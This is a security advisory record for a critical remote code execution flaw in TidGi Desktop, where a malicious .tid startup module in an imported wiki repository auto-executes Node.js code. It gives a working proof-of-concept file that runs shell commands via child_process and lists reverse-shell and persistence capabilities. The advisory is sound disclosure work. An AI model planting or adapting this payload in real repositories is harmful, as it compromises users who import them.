{"id":"GHSA-9hc2-hjx8-q6pv","title":"TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution","summary":"TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution","severity":"critical","cvss":9.6,"cwe":["CWE-94"],"vendor":"tidgi","product":"tidgi","ecosystem":"npm","affected":["tidgi <= 0.13.0"],"published":"2026-07-14","updated":"2026-07-14","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-9hc2-hjx8-q6pv","references":[{"url":"https://github.com/tiddly-gittly/TidGi-Desktop/security/advisories/GHSA-9hc2-hjx8-q6pv"},{"url":"https://github.com/advisories/GHSA-9hc2-hjx8-q6pv"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-14T20:39:11.323Z","slug":"GHSA-9hc2-hjx8-q6pv","body":"## Overview\n\n## Description\n\nTidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in `.tid` files placed in the wiki's `tiddlers/` directory:\n\n1. **Auto-loading of `.tid` files** (`src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`) — when TidGi boots a wiki workspace, `loadWikiTiddlers` reads all `.tid` files from the filesystem and adds them to the wiki store via `wiki.addTiddlers()`.\n\n2. **Automatic module registration** (`node_modules/tiddlywiki/boot/boot.js:2564-2565`) — `defineTiddlerModules()` iterates all tiddlers in the store. Any tiddler with a `module-type` field is passed to `$tw.modules.define()`, registering it as an executable module.\n\n3. **Automatic startup execution** (`node_modules/tiddlywiki/boot/boot.js:2572-2634`) — all registered modules of type `\"startup\"` are collected and their `exports.startup()` function is called during the boot sequence. When no `platforms` restriction is set, `doesTaskMatchPlatform()` returns `true`, and the startup function executes with full Node.js `require()` access in the Wiki Worker process.\n\nThe full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — `require('child_process').execSync()` successfully executed arbitrary shell commands.\n\n## Affected Product\n\n- **Product**: TidGi Desktop\n- **Vendor**: Lin Onetwo (https://github.com/tiddly-gittly)\n- **Repository**: https://github.com/tiddly-gittly/TidGi-Desktop\n- **Affected Versions**: 0.13.0 (latest release)\n- **Components**: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts` (tiddler loading), `src/services/wiki/wikiWorker/startNodeJSWiki.ts` (wiki boot), `node_modules/tiddlywiki/boot/boot.js` (TiddlyWiki core — `defineTiddlerModules`, startup dispatch)\n- **Package**: tidgi (npm)\n\n## Vulnerability Details\n\n### Root Cause 1 — `.tid` Files Auto-Loaded Before Module Processing\n\n**File: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`**\n\n```typescript\nconst tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);\n\nfor (const tiddlerFile of tiddlerFiles) {\n    // Register file info for filesystem adaptor\n    // ...\n    // Add tiddlers to wiki\n    wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers);   // ← Line 92\n}\n```\n\n**File: `src/services/wiki/wikiWorker/startNodeJSWiki.ts:256`**\n\n```typescript\nwikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });\n```\n\nThis triggers `$tw.boot.startup()`, which internally calls `loadStartup()` → `loadTiddlersNode()` → `$tw.loadWikiTiddlers($tw.boot.wikiPath)` (boot.js:2381). TidGi overrides `loadWikiTiddlers` at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all `.tid` files from the main wiki's `tiddlers/` directory.\n\n### Root Cause 2 — Automatic Module Registration via `module-type` Field\n\n**File: `node_modules/tiddlywiki/boot/boot.js:1514-1534`** — `defineTiddlerModules()`\n\n```javascript\n$tw.Wiki.prototype.defineTiddlerModules = function() {\n    this.each(function(tiddler,title) {\n        if(tiddler.hasField(\"module-type\") && (!tiddler.hasField(\"draft.of\"))) {\n            switch(tiddler.fields.type) {\n                case \"application/javascript\":\n                    $tw.modules.define(\n                        tiddler.fields.title,           // \"$:/plugins/poc/startup.js\"\n                        tiddler.fields[\"module-type\"],   // \"startup\"\n                        tiddler.fields.text              // attacker's JS code\n                    );\n                    break;\n            }\n        }\n    });\n};\n```\n\nThis function is called during `execStartup()` (boot.js:2565), **after** `loadStartup()` has already loaded all `.tid` files into the wiki store. Any tiddler with `module-type: startup` and `type: application/javascript` is automatically registered as an executable module.\n\n### Root Cause 3 — Automatic Startup Execution with Full Node.js Access\n\n**File: `node_modules/tiddlywiki/boot/boot.js:2572-2576`** — Collecting startup modules\n\n```javascript\n$tw.boot.remainingStartupModules = [];\n$tw.modules.forEachModuleOfType(\"startup\", function(title, module) {\n    if(module.startup) {\n        $tw.boot.remainingStartupModules.push(module);  // ← attacker's module collected\n    }\n});\n```\n\n**File: `node_modules/tiddlywiki/boot/boot.js:2631-2634`** — Executing startup\n\n```javascript\nif(!$tw.utils.hop(task,\"synchronous\") || task.synchronous) {\n    const thenable = task.startup();  // ← exports.startup() called\n```\n\n**File: `node_modules/tiddlywiki/boot/boot.js:2658-2677`** — Platform check (passes without explicit `platforms`)\n\n```javascript\n$tw.boot.doesTaskMatchPlatform = function(taskModule) {\n    var platforms = taskModule.platforms;\n    if(platforms) {\n        // ... check each platform ...\n        return false;  // ← only rejects if platforms is explicitly set\n    }\n    return true;       // ← no platforms field → passes unconditionally\n};\n```\n\n### Complete Boot Sequence (verified against TiddlyWiki 5.4.0)\n\n```\n$tw.boot.startup()                              // boot.js:2589\n  ├── initStartup()                              // boot.js:2393\n  ├── loadStartup()                              // boot.js:2538\n  │     └── loadTiddlersNode()                   // boot.js:2356\n  │           └── $tw.loadWikiTiddlers(wikiPath)  // boot.js:2381\n  │                 └── wiki.addTiddlers(...)     // loads .tid files into store\n  └── execStartup()                              // boot.js:2553\n        ├── defineShadowModules()                 // boot.js:2564\n        ├── defineTiddlerModules()                 // boot.js:2565  ← registers attacker's module\n        ├── forEachModuleOfType(\"startup\", ...)   // boot.js:2572  ← collects startup modules\n        └── executeNextStartupTask()              // boot.js:2611\n              └── task.startup()                  // boot.js:2634  ← exports.startup() executes\n```\n\n### Exploitation Conditions\n\n- **No authentication required** — importing a wiki is a standard feature\n- **Only user interaction**: click \"Add Workspace\" → select folder/URL → confirm\n\n### Complete Attack Flow\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│ Step 1: Attacker creates a malicious TiddlyWiki repository   │\n├──────────────────────────────────────────────────────────────┤\n│  tiddlers/$__plugins__poc__startup.js.tid:                   │\n│                                                              │\n│    title: $:/plugins/poc/startup.js                          │\n│    type: application/javascript                              │\n│    module-type: startup                                      │\n│                                                              │\n│    exports.startup = function() {                            │\n│      require('child_process').execSync('calc');              │\n│    };                                                        │\n│                                                              │\n│  + tiddlywiki.info + any other wiki files                    │\n└──────────────────────────────────────────────────────────────┘\n                          ↓\n┌──────────────────────────────────────────────────────────────┐\n│ Step 2: Victim imports the repository into TidGi Desktop     │\n├──────────────────────────────────────────────────────────────┤\n│  Add Workspace → Clone Git Repository / Open Local Folder    │\n│  → TidGi boots the wiki                                      │\n└──────────────────────────────────────────────────────────────┘\n                          ↓\n┌──────────────────────────────────────────────────────────────┐\n│ Step 3: RCE — startup module auto-executes in Node.js Worker │\n├──────────────────────────────────────────────────────────────┤\n│  loadWikiTiddlers loads .tid file → wiki.addTiddlers()       │\n│  boot.startup() → execStartup()                              │\n│  defineTiddlerModules() → $tw.modules.define(\"startup\", ...) │\n│  executeNextStartupTask() → exports.startup()                │\n│  → require('child_process').execSync('...') executes         │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Proof of Concept\n\n### Minimal `.tid` File (place in `tiddlers/` directory)\n\n```\ntitle: $:/plugins/poc/startup.js\ntype: application/javascript\nmodule-type: startup\n\nexports.startup = function() {\n  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');\n  console.log('STARTUP_EXECUTED');\n};\n```\n\n### Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)\n\n```\n$ node -e \"\n  const \\$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();\n  \\$tw.boot.argv = ['/tmp/evil-wiki'];\n  \\$tw.boot.startup();\n\"\nSTARTUP_EXECUTED\n\n$ ls -la /tmp/TidGi-RCE-PoC.txt\n-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt\n```\n\nThe message `STARTUP_EXECUTED` printed from within the attacker's `exports.startup()` function, and the file `/tmp/TidGi-RCE-PoC.txt` was created by `execSync('touch ...')`, confirming arbitrary command execution.\n\n## Impact\n\n| Capability | Status | Details |\n|-----------|--------|---------|\n| Remote Code Execution | ✅ Full Node.js access | `require('child_process')` available |\n| Arbitrary File Read | ✅ | `require('fs').readFileSync()` |\n| Arbitrary File Write | ✅ | `require('fs').writeFileSync()` |\n| Reverse Shell | ✅ | Node.js `net` module |\n| Persistence | ✅ | Write to startup scripts, LaunchAgents, crontab |\n| User Interaction | 1 click | Import repository |\n| Cross-Platform | ✅ | Windows, macOS, Linux |\n\n## Reproduction Evidence\n\n### Step 1 — Malicious `.tid` file content\n\n```\ntitle: $:/plugins/poc/startup.js\ntype: application/javascript\nmodule-type: startup\n\nexports.startup = function() {\n  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');\n  console.log('STARTUP_EXECUTED');\n};\n```\n\n### Step 2 — TiddlyWiki boot with malicious wiki at `/tmp/evil-wiki`\n\n```\n$ node -e \"\n  const \\$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();\n  \\$tw.boot.argv = ['/tmp/evil-wiki'];\n  \\$tw.boot.startup();\n\"\nSTARTUP_EXECUTED\n```\n\n### Step 3 — Verified RCE: `/tmp/TidGi-RCE-PoC.txt` created\n\n```\n$ ls -la /tmp/TidGi-RCE-PoC.txt\n-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt\n```\n\n## Patch Recommendation\n\n### Fix 1: Disallow `module-type` on User Tiddlers\n\nTiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define `module-type`.\n\n```typescript\n// In defineTiddlerModules() or equivalent\nif (tiddler.hasField(\"module-type\") && !tiddler.fields.title.startsWith(\"$:/\")) {\n    // User tiddler — silently drop module-type field\n    return;\n}\n```\n\n### Fix 2: Sandbox User Modules\n\nIf user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:\n\n```typescript\n// Replace direct require access with a restricted API surface\nconst vm = require('vm');\nconst sandbox = { console, $tw, Buffer };\nvm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });\n```\n\n### Fix 3: Whitelist Allowed `module-type` Values\n\nOnly allow known safe `module-type` values for user tiddlers:\n\n```typescript\nconst ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filter', 'parser'];\nif (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) {\n    return; // Block startup, library, saver, etc.\n}\n```\n\n## Affected packages\n\n- `tidgi <= 0.13.0`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"midnight","depthScore":53,"depthScoreParts":{"impact":52.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}